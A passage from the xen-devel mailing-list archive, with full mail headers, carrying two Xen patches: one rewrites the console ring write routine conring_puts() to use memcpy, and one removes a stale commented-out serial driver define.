	kIMmufvfpTfsVoIygmyfwK0E8/QDf5EmVT/n697r7ARUCcZstmkQKWyx2NkEWJS0Lnls8urZTIErIxyxOhw5v/hhlahBYkDfvMT0zedEFicHUWjywa2X2TrcSHtECngH+N+Yq3wvD0sEHc7z/in7aUJN3GWJQ+lO5yELICAqnets9yg75d/HxlOF4nIjAiqeVK8CqUaDHkpqjnXsgJJcWmXM1HndlECtLlEnUvqBknaH5U2yNttZa/5I9XZ5vj0/D+q0ggSi8MJ/bCJjbYzNUP3s2s3BBvISz5/dqkEJYYAu4SlH++VUsmbpS/mw5PwyT5iPpL6JTdRLoIjhiawb/9X7FRU44Jg+w3xSV6sG5IhzSuDN8MRG4/Pjj+o+StGeLyxO917keJeK+OinQht6akEH690B0fT0Ns1YM0ZrPQWbF+gy1irblHCnuShT9xi6o1+uX7+5H3e4RaU5hiudlg9KsYNjyoHLGmXHxySKipqkXq83b/1wdonugxMTKlR262xMuJj92gv2jax9+KHivNT4WK/Mh9THJyaYGsIr9VlB5CupWdglU9X4CpTWixrqc9iXXlJmM3al1SqkDbA7ul8carUlFkzBTSKoG3xKrMrRB5N++08mAJHLTr4LHqy0QyRvE7OcQZ7X/xnX1IZ+lw==
X-OriginatorOrg: ford.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 13 Jul 2026 18:16:34.1623
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 7e3cf7a0-c933-4cfb-07e6-08dee10adf2f
X-MS-Exchange-CrossTenant-Id: c990bb7a-51f4-439b-bd36-9c07fb1041c0
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=c990bb7a-51f4-439b-bd36-9c07fb1041c0;Ip=[148.163.138.245];Helo=[mx0b-00498f04.pphosted.com]
X-MS-Exchange-CrossTenant-AuthSource:
	DS1PEPF00017094.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: CH1PPFF9B87097C
X-Authority-Analysis: v=2.4 cv=ddKwG3Xe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vAjrVNHRpJ
 zgTAVs6c17QYaLfvUsm58S/BLh7DCF5y/RFV8MeBT9H20xYYpqEdET24+b49FUsGjRTqKColFxr
 VpAGRK0cn4Gwbn3N1Hg==
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-13_04,2026-07-10_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 clxscore=1015
 adultscore=0 impostorscore=0 spamscore=0 malwarescore=0 priorityscore=1501
 suspectscore=0 lowpriorityscore=0 phishscore=0 bulkscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607130189
X-purgate-ID: tlsNG-d62444/1783966602-3D6EA0A8-9B239F92/0/0
X-purgate-type: clean
X-purgate-size: 1446

From: Denis Mukhin <dmukhin@ford.com> 

Make conring_puts() more efficient by using memcpy()'s, rather than
copying the ring a byte at a time.

No functional change intended.

Signed-off-by: Denis Mukhin <dmukhin@ford.com>
---
Changes since v6:
- new patch
---
 xen/drivers/char/console.c | 16 +++++++++++++---
 1 file changed, 13 insertions(+), 3 deletions(-)

diff --git a/xen/drivers/char/console.c b/xen/drivers/char/console.c
index 37ea84403180..2da5005011d5 100644
--- a/xen/drivers/char/console.c
+++ b/xen/drivers/char/console.c
@@ -360,12 +360,22 @@ static DECLARE_SOFTIRQ_TASKLET(conring_tasklet, conring_notify, NULL);
 /* NB: Do not send conring VIRQs during panic. */
 static bool conring_no_notify;
 
-static void conring_puts(const char *str, size_t len)
+static void conring_puts(const char *str, unsigned int len)
 {
+    unsigned int src = likely(len < conring_size) ? 0 : len - conring_size;
+
     ASSERT(rspin_is_locked(&console_lock));
 
-    while ( len-- )
-        conring[CONRING_IDX_MASK(conringp++)] = *str++;
+    while ( src < len )
+    {
+        unsigned int dst = CONRING_IDX_MASK(conringp + src);
+        unsigned int n = min(conring_size - dst, len - src);
+
+        memcpy(&conring[dst], &str[src], n);
+        src += n;
+    }
+
+    conringp += len;
 
     if ( conringp - conringc > conring_size )
         conringc = conringp - conring_size;
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 13 18:16:47 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 18:16:47 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361818.1613912 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjLCx-0005D4-NX; Mon, 13 Jul 2026 18:16:47 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361818.1613912; Mon, 13 Jul 2026 18:16:47 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjLCx-0005Ct-IM; Mon, 13 Jul 2026 18:16:47 +0000
Received: by outflank-mailman (input) for mailman id 1361818;
 Mon, 13 Jul 2026 18:16:45 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmukhin@ford.com>) id 1wjLCv-0004wc-9c
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 18:16:45 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjLCu-00FGN2-ML
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 20:16:44 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a552b8b-2eae-0a2a0a5409dd-0a2a4508a5dc-2
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 20:16:44 +0200
Received: from [148.163.146.23] (helo=mx0a-00498f03.pphosted.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <dmukhin@ford.com>)
 id 6a552b8a-ee29-0a2a45080019-94a392176efa-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 20:16:44 +0200
Received: from pps.filterd (m0367124.ppops.net [127.0.0.1])
 by mx0a-00498f03.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66DI3ImD4009233
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 18:16:42 GMT
Received: from co1pr03cu002.outbound.protection.outlook.com
 (mail-westus2azon11010061.outbound.protection.outlook.com [52.101.46.61])
 by mx0a-00498f03.pphosted.com (PPS) with ESMTPS id 4fd326sp6n-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 18:16:42 +0000 (GMT)
Received: from CH2PR12CA0005.namprd12.prod.outlook.com (2603:10b6:610:57::15)
 by SJ0PR16MB5059.namprd16.prod.outlook.com (2603:10b6:a03:435::11)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.202.18; Mon, 13 Jul
 2026 18:16:39 +0000
Received: from CH1PEPF0000A34A.namprd04.prod.outlook.com
 (2603:10b6:610:57:cafe::87) by CH2PR12CA0005.outlook.office365.com
 (2603:10b6:610:57::15) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.202.19 via Frontend
 Transport; Mon, 13 Jul 2026 18:16:39 +0000
Received: from mx0b-00498f04.pphosted.com (148.163.138.245) by
 CH1PEPF0000A34A.mail.protection.outlook.com (10.167.244.5) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.223.9
 via Frontend Transport; Mon, 13 Jul 2026 18:16:38 +0000
Received: from pps.filterd (m0426315.ppops.net [127.0.0.1])
 by mx0b-00498f04.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66DHUWUw2030223
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 14:16:38 -0400
Received: from smtp-us.ser.proofpoint.com (pmta-use.ser.proofpoint.com
 [44.208.76.22])
 by mx0b-00498f04.pphosted.com (PPS) with ESMTPS id 4fc7qrspvu-2
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 14:16:38 -0400 (EDT)
Received: from localhost ([19.12.92.221]) by cmsmtp with ESMTPSA
 id jLCmwD46EdXbVjLCnw950E; Mon, 13 Jul 2026 18:16:38 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=ppford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=selector2-azureford-onmicrosoft-com header.d=azureford.onmicrosoft.com header.i="@azureford.onmicrosoft.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=ppserprodsaar header.d=saarlouis.ford.com header.i="@saarlouis.ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=ppfserpocford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=ppford; bh=5vM
	haQxVLDZSJAsEkxd2cCvcMsr5+XlGLr4Ey5KSvTg=; b=VOLqwDYwKBXpTqQZ9g6
	O0j0Kdos3vWppNoXbeZ+uoKMduIYlAqUI5OCrzQ9kt5KKGWoydsTPsQ54kgtFkHD
	gk57u1c6E9qojLe6I4N6tzryoyjQilXJzTZdIrFalvkPxTdrgUsDWmpzEuqtbbTr
	Zdm7fLK/KzI48JvJdYB4LlnFBfb8UuVtdQJp1w4Ch2l08jFR+2p4Pfd8UHHCIoW6
	g4dBHEy/0NpsZzwD+x4akpLp6MFUxIdiNyKahW4wnpBd30QJlFuE0/nKqXJV51Cs
	Q0paPstj/VtnsR/7JCrQlikr4j3n2mIx43BebLz4lTCo2zqQ/ljchAxrtNHQQji2
	ZIg==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=W9ieZKFKySWOSDZ8mjwlVmG4g7rdrs850kuiabjn7byDJqUTHiMOczAKczxkT69ZbiMtFW2JuRsWdFRZtSDNUS7bI8jkr30oCXg0FWXDC1ShyA881FkxS4LM/eRs6Y3vpy+Eix1GDdUlx4APIeDm2vOcOjvwgB3S+zG0ymFfNdZCHYF1uu+4jCqawZYSLpPojhwtpbXxCHcc2E7DbpNb6sr1ekapZ2Zgq8R1kMpXEuZL75pZNVV8kJFLYg2noTOCqDdD4I/30pYxcTZQM7VD6kLkiTrj3XGUeexmStxapBG8Q32HkQf5sWjOMCzduWGqHxXgYuOS91YiqBRGUJlTOw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=5vMhaQxVLDZSJAsEkxd2cCvcMsr5+XlGLr4Ey5KSvTg=;
 b=ywA2Ow+2H9p+eIO1QQGQcO7E0/njmdl+Y82+T34bsKB8cdR1Lt4XLBvnxyWq2BO5LkPkH4ra1qMCwHszsacd+odoT14aYPgVRx8PkztXAWMZjcf1nEerEp1pXgX7yyPSW+3H3xi2cxndUZmx3vMYYTq32fa3wKdteSE9qAEln25OtwEHi/C0XarKTY2i6myCcDjYXbGLl+/ITwxGTLpuJ5LS15FUNNRqsWe7MXUrMgEbR69NAfRZfWH8cb5s4wjaqRM6xJRDEc2yVG3OqVLQeXjID92sgzd8OQR0F8XFXWKPR32GtE1LVU4XNZx4oRWlV104eTzg7hDcBqGu1Fq9SA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 148.163.138.245) smtp.rcpttodomain=lists.xenproject.org
 smtp.mailfrom=ford.com; dmarc=pass (p=reject sp=reject pct=100) action=none
 header.from=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com; dkim=pass (signature was verified)
 header.d=ford.com; arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=azureford.onmicrosoft.com; s=selector2-azureford-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=5vMhaQxVLDZSJAsEkxd2cCvcMsr5+XlGLr4Ey5KSvTg=;
 b=i/It5xqas1mYTLHcaFrgtkZ7iS4gHbUJamFydzQymNl69Ir6+PfZzGFm58BTZmZb046tdejQFlbhgszHOO2tw0QOPrXbqwGbbfTPbCG9ZE+9Jx95nI45VueD5mFnLp49HdgC76Ak5/U9Px4idzFU55pOXn0yU+t5Gsy7C3nX0gI=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 148.163.138.245)
 smtp.mailfrom=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com;dkim=pass (signature was verified)
 header.d=ford.com;dmarc=pass action=none header.from=ford.com;
Received-SPF: Pass (protection.outlook.com: domain of ford.com designates
 148.163.138.245 as permitted sender) receiver=protection.outlook.com;
 client-ip=148.163.138.245; helo=mx0b-00498f04.pphosted.com; pr=C
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	saarlouis.ford.com; h=cc:content-transfer-encoding:date:from
	:in-reply-to:message-id:mime-version:references:subject:to; s=
	ppserprodsaar; bh=5vMhaQxVLDZSJAsEkxd2cCvcMsr5+XlGLr4Ey5KSvTg=; b=
	AMD+p+n1ML0cXCIm1kZJlL6QUQPgTir0RJTrSZITpz3vEKTLcLDWHMz4p8Eqw45K
	azl0PP1g328HidPdHMZyMyt55ObZZ0KFWpPNGZsxXdvc/HSAsKrJVN5ck2SX7AqW
	ktVG64E+OJ+icIZ2Gte5s6929qXNhQCRKx4atLeCQqEsYWBnlBRG37vJ2RfPYut+
	7hADkgTZI4bcCGrmMMDDp1LqM9x2RFK6saHXsCja53ycXXtrAChW91chT8DaqwWs
	KU6zXA0TRsqJ4t9TLsTC/ov+5lgi+PtWFGPu1cy44O7eGBT0UksJkSGROKOn4GON
	IL31C889l2Kapbmez4f2Vw==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:date:from:in-reply-to:message-id
	:mime-version:references:subject:to; s=ppfserpocford; bh=5vMhaQx
	VLDZSJAsEkxd2cCvcMsr5+XlGLr4Ey5KSvTg=; b=S+kh+okHxxjOoSqRBFmZiqj
	T/LmSGsS028/NSKhMvuB6UNZPqTsmkwiH2cvt7l/GiqtjUwzu78dxrn5+fFhcpZL
	2sVZ6tbXgbsIyan4q4/0Qy3WBkLuaTZLXj98zP8jXomsQKfUlxfr5l07D+xJcqmy
	aH+dq5BVKNOLwpE2KOGP/f+9W7Yrfj7f87z8V12dOv1PP61Sn7rw3jiTNKVWHgOg
	gm8TthyVZMsR1ymivFqtMwu5lAaHcHDEqu8/mAuHIeO2b0Tt9aRLXlWoNGzb99vH
	uasP6aiJRcz8HxYoXKEYsX6A/YFpx9DWT1Tr85SO048xonqRK3j7iJOTm+jim7A=
	=
X-Mailer: SER-76bead168636dc6ed1c9e51ce4dea80dbdd4163750742b614a4d871e565792b7
X-Cloudmark-MID: jLCmwD46EdXbVjLCnw950E
X-Proofpoint-CID: eb09f7eb-2dc2-34ab-a188-7b293c1db1fe
From: dmukhin@ford.com
To: xen-devel@lists.xenproject.org
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, jbeulich@suse.com,
        julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
        sstabellini@kernel.org, dmukhin@ford.com
Subject: [PATCH v7 5/7] xen/serial: drop stale SERIAL_NEVER_DROP_CHARS
Date: Mon, 13 Jul 2026 11:16:17 -0700
Message-ID: <20260713181619.672176-6-dmukhin@ford.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260713181619.672176-1-dmukhin@ford.com>
References: <20260713181619.672176-1-dmukhin@ford.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
PSER-M365-App: SER-APP
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-13_04,2026-07-10_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 malwarescore=0
 lowpriorityscore=0 phishscore=0 spamscore=0 suspectscore=0 bulkscore=0
 adultscore=0 classifier=typeunknown authscore=0 authtc= authcc=
 route=outbound adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607130189
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH1PEPF0000A34A:EE_|SJ0PR16MB5059:EE_
Content-Type: text/plain
X-MS-Office365-Filtering-Correlation-Id: be603b6d-b1f9-4ce9-46d4-08dee10ae205
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|376014|82310400026|1800799024|36860700016|22082099003|18002099003|56012099006|11063799006;
X-Microsoft-Antispam-Message-Info:
	TzGFp0dz8byqR83tVXZEINN4vx2gPxGeXoqplzGqu2jpFsE/tQoOJh7gLBB4EZ33fGkR1xovPVF47zUnp4puGhla7DIIXWhXFkWCKaQATB4p+YMK6MRjK0r5TA1RywDWCNJH92MOhX7UR9vdkAHNbsafnNK49w84gnKQaYVqCvjWYXhIFBM2t73/mXyhiPUlVPge4W2KCLvQw97ctV11/Yq4Bmu6KV20tnMSOSlH4R5t07gDu0LmtFAqp2sYoGwpSQ3o/nPsdF40PEF9KftnetZj6rUldGCyg4ubMkQbxYynqylz2TgBQ0+WPJykKwzAC5/xsFNp1skKrIzL3S0wuR4LW4x79ww0drYAcIOjXTx4FUE1HJFLSwaJMgkTkAmpF/mwzbgMYrJB0GzA+yS2OD5KmcYt/2xU/mLN24WB1K5qP0WHVzBDVh6o2hvF/tPWS164sQuRaVOqWnZ5Bxn9cX8ZS0LeHR6boFqLyeGyFzPPEklukwDGiS2xqkhyE2Yw0r6UXJ0SqA2dQ9LIMmgnlo/Kqy3GxsNobaiLUaJ+fCVBeLUepDnxTlGvBwsQrvLJ/yFzJ3xF4eWyBR297cCzqgSeUjtgBsqLjl6fjpv6hRGlbSJIndGj+SUeEuX94LuBZBPUqdxQnRvklt1Dpqpbe362y3fo9YK2MuRUoobxryJtsAz3e1pwa+msodQaoIXlVWYj0k1lqpzYdiVwqh9nKQ==
X-Forefront-Antispam-Report:
	CIP:148.163.138.245;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mx0b-00498f04.pphosted.com;PTR:mx0b-00498f04.pphosted.com;CAT:NONE;SFS:(13230040)(23010399003)(376014)(82310400026)(1800799024)(36860700016)(22082099003)(18002099003)(56012099006)(11063799006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	uGoAlgtkRz1x50HwHYATZIWNrbSVHe4XviWSBih9jN88BzJGSpXcRi3+kFBAbRoTljwq6ElUwTHNjjZK6nGeqObet2caYrR3TY3nepl6b1ZDvPyxNS3pp0v1o6rabg7S0vHwbaW17EI+wuWs1qnEjpAriI52w+4rDzd7xEIiQU7e12pmNolV1bR6lIMuSC43ttGIWlojB1w9ZF3naLB9ms1cj72rTA0mVXF4ziNssFnmvXJl9o5Uw6n3obSeAxhNW/DDZb+OkSMuZPDqMxr6SkPBYu/Ip6YWhwjIcBHQUMEqgHVoWqikUg/qlhih22TDr2ngLxQi8uqnf+zbcwQhWXVFjXtOCz/uYKs8qSwWnhjpZg+laRUtOrFdm2ClABzBw3TeCI7LZAtXZyvPXWP1qouvUyz0FHexZpwdH5KavaaSeFue3Fa5h/85yED05RTI
X-Exchange-RoutingPolicyChecked:
	YXRqRFHkDLIC9nYocp6Wrb6e8o1CKYg6kkrcbEW28mY6uuIjPtuGU5kLD/hL5PMBrqhjV9uj9hEqTCMoZJmR1bEyXLgXzeQGfDjpiwpbgETeAehJ1KTgddsWlELr0A04jqfZmF4dDTETwQ9xrpezwCRqCbNQr2BW+W8KEULRE2su+BnSzjwEbMxtJpkDoHOljGF+bXcy0lfP2Nov2tfTPvS6PDJ5Dxr1R74c7aOmbaBRI6ZQtPEQqIaoTtlCXNUFJr/jBYlLPHdjW10w2dQiT0cxBY8nPLyA4eZmA9TNGthUWPWB2f7qzJTkXGfgaH0IhXnSciPptOxbOrs9cOcF4g==
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-0:
	65Fgeydevh/Syo3NAC+S0ixdq4a0nQ+TOEGZIFOYv+CLOsS6g0A3ymiMaYmmyYQZJSIV5iuG94l+e2MjXFTX1nLDy8FkRiXNzKC7+MWKfELlBwNIHjgorQcESKL4jVxBa+uuzGn3PYTxSJELMQ8q4YrRmCLFp0hdXYuGPTKfL3eTCdauBT3do/ZR8Fyb3ltRcb6GNIpKfVdaoakPxWNOhsIgWoB8HhVvAgZ4CLBYmW92AG+01zpR4euz5B2r4vJKwsQtelH9j05JU7qaY7e2Nbzo/vVT9cFA0zvmWSzqLb0KAWoFNsZCNOA3SHCeld1ReleKPmfObjOfYAspHAPOmvmqVd/Xebxp6C5nJuABvoxApu0RJHLU2EBw6uqf3JEKBXoh/o/Yfq/yQhHNM8brZJ+UflrUN6jjbXM9pjClDcPa5D2mAWtWk4qqxq45cB5NCptCrl3Gnc3MslHWIuoYiiBS80Uo3XFGMMMsSQp66Moz+yAFlQqiX9z8NBrZf81GnYcC9sY3d/7CMK4I9I9bN2GxIeKI9WPwNj2eQl4qLj0H4HnF4S9ZQit2RLR5nHUl+IPqcFEMobrMirszHulPvMx/y4fxdNC+wj8Z5EhQ0OhSOn4afYXCfe//mC0GQCgicssSzXnOgU05zoFJLgfclg==
X-OriginatorOrg: ford.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 13 Jul 2026 18:16:38.9672
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: be603b6d-b1f9-4ce9-46d4-08dee10ae205
X-MS-Exchange-CrossTenant-Id: c990bb7a-51f4-439b-bd36-9c07fb1041c0
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=c990bb7a-51f4-439b-bd36-9c07fb1041c0;Ip=[148.163.138.245];Helo=[mx0b-00498f04.pphosted.com]
X-MS-Exchange-CrossTenant-AuthSource:
	CH1PEPF0000A34A.namprd04.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SJ0PR16MB5059
X-Proofpoint-GUID: 2aj9twk-gKJfI_FQ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+OBdQxHYZkxZPm0ZaQlJ0ET8rVW
 my8LPnl8fIQTMWAv00Wks4YczpYAA3EXEieaWf1RQJUZJHe4+csQrtVgJccnr0/l3NuURvKCiHn
 jQu7/U0ex6F8yIaSDgA==
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-13_04,2026-07-10_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0
 lowpriorityscore=0 bulkscore=0 adultscore=0 impostorscore=0 suspectscore=0
 spamscore=0 clxscore=1015 malwarescore=0 priorityscore=1501 phishscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607130189
X-purgate-ID: tlsNG-c1860d/1783966604-1157601C-CDCAAFD4/0/0
X-purgate-type: clean
X-purgate-size: 691

From: Denis Mukhin <dmukhin@ford.com> 

Signed-off-by: Denis Mukhin <dmukhin@ford.com>
---
Changes since v6:
- new patch
---
 xen/drivers/char/serial.c | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/xen/drivers/char/serial.c b/xen/drivers/char/serial.c
index bbbe7587882b..e3c356408987 100644
--- a/xen/drivers/char/serial.c
+++ b/xen/drivers/char/serial.c
@@ -15,9 +15,6 @@
 
 #include <asm/processor.h>
 
-/* Never drop characters, even if the async transmit buffer fills. */
-/* #define SERIAL_NEVER_DROP_CHARS 1 */
-
 unsigned int __ro_after_init serial_txbufsz = CONFIG_SERIAL_TX_BUFSIZE;
 size_param("serial_tx_buffer", serial_txbufsz);
 
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 13 18:16:49 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 18:16:49 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361819.1613920 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjLCz-0005Sj-39; Mon, 13 Jul 2026 18:16:49 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361819.1613920; Mon, 13 Jul 2026 18:16:49 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjLCy-0005SS-W8; Mon, 13 Jul 2026 18:16:48 +0000
Received: by outflank-mailman (input) for mailman id 1361819;
 Mon, 13 Jul 2026 18:16:48 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmukhin@ford.com>) id 1wjLCx-0005Cs-O4
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 18:16:47 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjLCx-00EXP1-4V
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 20:16:47 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a552b8a-5cb7-0a2a0a5109dd-0a2a4501c2ae-8
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 20:16:47 +0200
Received: from [148.163.146.23] (helo=mx0a-00498f03.pphosted.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <dmukhin@ford.com>)
 id 6a552b8d-3ea4-0a2a45010019-94a3921789ae-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 20:16:46 +0200
Received: from pps.filterd (m0367124.ppops.net [127.0.0.1])
 by mx0a-00498f03.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66DI3MDU4009463
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 18:16:44 GMT
Received: from sn4pr0501cu005.outbound.protection.outlook.com
 (mail-southcentralusazon11011024.outbound.protection.outlook.com
 [40.93.194.24])
 by mx0a-00498f03.pphosted.com (PPS) with ESMTPS id 4fd326sp79-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 18:16:44 +0000 (GMT)
Received: from CH0PR08CA0004.namprd08.prod.outlook.com (2603:10b6:610:33::9)
 by SJ0PR16MB5126.namprd16.prod.outlook.com (2603:10b6:a03:4d6::9) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.202.19; Mon, 13 Jul
 2026 18:16:38 +0000
Received: from CH3PEPF0000000B.namprd04.prod.outlook.com
 (2603:10b6:610:33:cafe::69) by CH0PR08CA0004.outlook.office365.com
 (2603:10b6:610:33::9) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.202.19 via Frontend
 Transport; Mon, 13 Jul 2026 18:16:38 +0000
Received: from mx0b-00498f04.pphosted.com (148.163.138.245) by
